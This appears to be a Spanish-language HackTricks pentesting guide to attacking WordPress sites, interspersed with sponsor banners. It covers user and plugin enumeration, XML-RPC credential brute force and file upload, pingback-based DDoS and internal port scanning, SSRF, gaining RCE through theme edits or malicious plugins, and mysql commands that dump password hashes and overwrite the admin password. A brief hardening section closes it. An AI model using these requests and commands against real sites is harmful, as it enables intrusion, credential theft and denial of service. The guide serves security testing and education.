hacktricks/network-services-pentesting/pentesting-web/wordpress.md

21 KiB

Wordpress

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:


Usa Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas.
Obtén Acceso Hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Información Básica

Los archivos subidos se encuentran en: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Los archivos de temas se pueden encontrar en /wp-content/themes/, así que si cambias algo de php del tema para obtener RCE probablemente usarás esa ruta. Por ejemplo: Usando el tema twentytwelve puedes acceder al archivo 404.php en: /wp-content/themes/twentytwelve/404.php
Otra url útil podría ser: /wp-content/themes/default/404.php

En wp-config.php puedes encontrar la contraseña de root de la base de datos.

Rutas de inicio de sesión predeterminadas para verificar: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Archivos Principales de WordPress

  • index.php
  • license.txt contiene información útil como la versión de WordPress instalada.
  • wp-activate.php se utiliza para el proceso de activación por correo electrónico al configurar un nuevo sitio de WordPress.
  • Carpetas de inicio de sesión (pueden ser renombradas para ocultarlas):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php es un archivo que representa una característica de WordPress que permite la transmisión de datos con HTTP actuando como mecanismo de transporte y XML como mecanismo de codificación. Este tipo de comunicación ha sido reemplazado por la REST API de WordPress.
  • La carpeta wp-content es el directorio principal donde se almacenan los plugins y temas.
  • wp-content/uploads/ Es el directorio donde se almacenan los archivos subidos a la plataforma.
  • wp-includes/ Este es el directorio donde se almacenan los archivos principales, como certificados, fuentes, archivos JavaScript y widgets.
  • wp-sitemap.xml En las versiones de Wordpress 5.5 y superiores, Wordpress genera un archivo XML de mapa del sitio con todos los posts públicos y tipos de post y taxonomías consultables públicamente.

Post-explotación

  • El archivo wp-config.php contiene información requerida por WordPress para conectarse a la base de datos como el nombre de la base de datos, el host de la base de datos, el nombre de usuario y la contraseña, las claves de autenticación y sales, y el prefijo de la tabla de la base de datos. Este archivo de configuración también se puede utilizar para activar el modo DEBUG, que puede ser útil para la resolución de problemas.

Permisos de Usuarios

  • Administrador
  • Editor: Publica y gestiona sus posts y los de otros
  • Autor: Publica y gestiona sus propios posts
  • Colaborador: Escribe y gestiona sus posts pero no puede publicarlos
  • Suscriptor: Navega por los posts y edita su perfil

Enumeración Pasiva

Obtener versión de WordPress

Verifica si puedes encontrar los archivos /license.txt o /readme.html

Dentro del código fuente de la página (ejemplo de https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • Archivos de enlace CSS

  • Archivos JavaScript

Obtener Plugins

{% code overflow="wrap" %}

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Obtener Temas

{% code overflow="wrap" %}

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Extracción de versiones en general

{% code overflow="wrap" %}

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

{% endcode %}


Utiliza Trickest para construir y automatizar flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.
Obtén Acceso Hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Enumeración activa

Plugins y Temas

Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrir todos ellos, necesitarás fuerza bruta activa en una lista de Plugins y Temas (afortunadamente para nosotros hay herramientas automatizadas que contienen estas listas).

Usuarios

ID Fuerza Bruta

Puedes obtener usuarios válidos de un sitio WordPress mediante Fuerza Bruta en los IDs de usuarios:

curl -s -I -X GET http://blog.example.com/?author=1

Si las respuestas son 200 o 30X, eso significa que el id es válido. Si la respuesta es 400, entonces el id es inválido.

wp-json

También puedes intentar obtener información sobre los usuarios consultando:

curl http://blog.example.com/wp-json/wp/v2/users

Otro punto final /wp-json/ que puede revelar información sobre los usuarios es:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Tenga en cuenta que este punto final solo expone a los usuarios que han hecho una publicación. Solo se proporcionará información sobre los usuarios que tienen esta función habilitada.

También tenga en cuenta que /wp-json/wp/v2/pages podría exponer direcciones IP.

Enumeración de nombre de usuario de inicio de sesión

Al iniciar sesión en /wp-login.php el mensaje es diferente si el nombre de usuario indicado existe o no.

XML-RPC

Si xml-rpc.php está activo, puede realizar un fuerza bruta de credenciales o usarlo para lanzar ataques DoS a otros recursos. (Puede automatizar este proceso usando esto, por ejemplo).

Para ver si está activo, intente acceder a /xmlrpc.php y envíe esta solicitud:

Verificar

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Fuerza Bruta de Credenciales

wp.getUserBlogs, wp.getCategories o metaWeblog.getUsersBlogs son algunos de los métodos que se pueden utilizar para realizar fuerza bruta en las credenciales. Si encuentras alguno de ellos, puedes enviar algo como:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

El mensaje "Nombre de usuario o contraseña incorrectos" dentro de una respuesta con código 200 debería aparecer si las credenciales no son válidas.

Usando las credenciales correctas puedes subir un archivo. En la respuesta aparecerá la ruta (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

También hay una forma más rápida de forzar bruscamente las credenciales usando system.multicall ya que puedes intentar varias credenciales en la misma solicitud:

Evitar 2FA

Este método está pensado para programas y no para humanos, y es antiguo, por lo tanto no soporta 2FA. Entonces, si tienes credenciales válidas pero la entrada principal está protegida por 2FA, podrías ser capaz de abusar de xmlrpc.php para iniciar sesión con esas credenciales evitando el 2FA. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer a través de la consola, pero aún podrías ser capaz de llegar a RCE como Ippsec lo explica en https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS o escaneo de puertos

Si puedes encontrar el método pingback.ping dentro de la lista, puedes hacer que Wordpress envíe una solicitud arbitraria a cualquier host/puerto.
Esto se puede usar para pedir a miles de sitios de Wordpress que accedan a una ubicación (causando así un DDoS en esa ubicación) o puedes usarlo para hacer que Wordpress haga un escaneo de alguna red interna (puedes indicar cualquier puerto).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Si obtienes faultCode con un valor mayor que 0 (17), significa que el puerto está abierto.

Echa un vistazo al uso de system.multicall en la sección anterior para aprender cómo abusar de este método para causar DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Este archivo generalmente existe en la raíz del sitio de Wordpress: /wp-cron.php
Cuando este archivo es accedido se realiza una consulta MySQL "pesada", por lo que podría ser utilizado por atacantes para causar un DoS.
Además, por defecto, el wp-cron.php se llama en cada carga de página (cada vez que un cliente solicita cualquier página de Wordpress), lo que en sitios de alto tráfico puede causar problemas (DoS).

Se recomienda desactivar Wp-Cron y crear un cronjob real dentro del host que realice las acciones necesarias en un intervalo regular (sin causar problemas).

/wp-json/oembed/1.0/proxy - SSRF

Intenta acceder a https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net y el sitio de Worpress puede hacer una solicitud hacia ti.

Esta es la respuesta cuando no funciona:

SSRF

{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}

Esta herramienta verifica si el methodName: pingback.ping y para la ruta /wp-json/oembed/1.0/proxy existen, y si es así, intenta explotarlos.

Herramientas Automáticas

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"


Utiliza Trickest para construir y automatizar flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.
Obtén Acceso Hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Obtén acceso sobrescribiendo un bit

Más que un ataque real, esto es una curiosidad. En el CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man podías cambiar 1 bit de cualquier archivo de WordPress. Así que podrías cambiar la posición 5389 del archivo /var/www/html/wp-includes/user.php para NOP la operación NOT (!).

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Modificación de un archivo php del tema utilizado (se necesitan credenciales de administrador)

Apariencia → Editor de Temas → Plantilla 404 (a la derecha)

Cambiar el contenido por un shell php:

Busca en internet cómo puedes acceder a esa página actualizada. En este caso, debes acceder aquí: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Puedes usar:

use exploit/unix/webapp/wp_admin_shell_upload

para obtener una sesión.

Plugin RCE

Plugin PHP

Puede ser posible subir archivos .php como un plugin.
Crea tu backdoor php usando, por ejemplo:

Luego añade un nuevo plugin:

Sube el plugin y presiona Instalar Ahora:

Haz clic en Proceder:

Probablemente esto no hará nada aparentemente, pero si vas a Medios, verás tu shell subido:

Accede y verás la URL para ejecutar el shell inverso:

Subiendo y activando plugin malicioso

(Esta parte está copiada de https://www.hackingarticles.in/wordpress-reverse-shell/)

A veces los usuarios con sesión iniciada no tienen autorización para escribir y hacer modificaciones en el tema de WordPress, por lo que elegimos "Inyectar plugin malicioso WP" como una estrategia alternativa para adquirir un web shell.

Entonces, una vez que tienes acceso al tablero de WordPress, puedes intentar instalar un plugin malicioso. Aquí ya he descargado el plugin vulnerable de exploit db.

Haz clic aquí para descargar el plugin para practicar.

Ya que tenemos el archivo zip del plugin, ahora es momento de subir el plugin.

Tablero > plugins > subir plugin

Explora el archivo zip descargado como se muestra.

Una vez que el paquete se instala con éxito, necesitamos activar el plugin.

Cuando todo está bien configurado, entonces procede a explotar. Ya que hemos instalado el plugin vulnerable llamado "reflex-gallery" y es fácilmente explotable.

Encontrarás el exploit para esta vulnerabilidad dentro del framework de Metasploit y por lo tanto carga el siguiente módulo y ejecuta el siguiente comando:

Una vez ejecutados los comandos anteriores, tendrás tu sesión de meterpreter. Tal como se muestra en este artículo, hay múltiples métodos para explotar un sitio web basado en WordPress.

Post Explotación

Extraer nombres de usuario y contraseñas:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Cambio de contraseña de administrador:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Protección de WordPress

Actualizaciones Regulares

Asegúrate de que WordPress, los plugins y los temas estén actualizados. También confirma que la actualización automática esté habilitada en wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

También, solo instala plugins y temas de WordPress confiables.

Plugins de Seguridad

Otras Recomendaciones

  • Elimina el usuario admin por defecto
  • Usa contraseñas fuertes y 2FA
  • Revisa periódicamente los permisos de los usuarios
  • Limita los intentos de inicio de sesión para prevenir ataques de Fuerza Bruta
  • Renombra el archivo wp-admin.php y solo permite acceso internamente o desde ciertas direcciones IP.


Usa Trickest para construir y automatizar flujos de trabajo fácilmente, potenciados por las herramientas comunitarias más avanzadas.
Obtén Acceso Hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Aprende hacking en AWS desde cero hasta héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: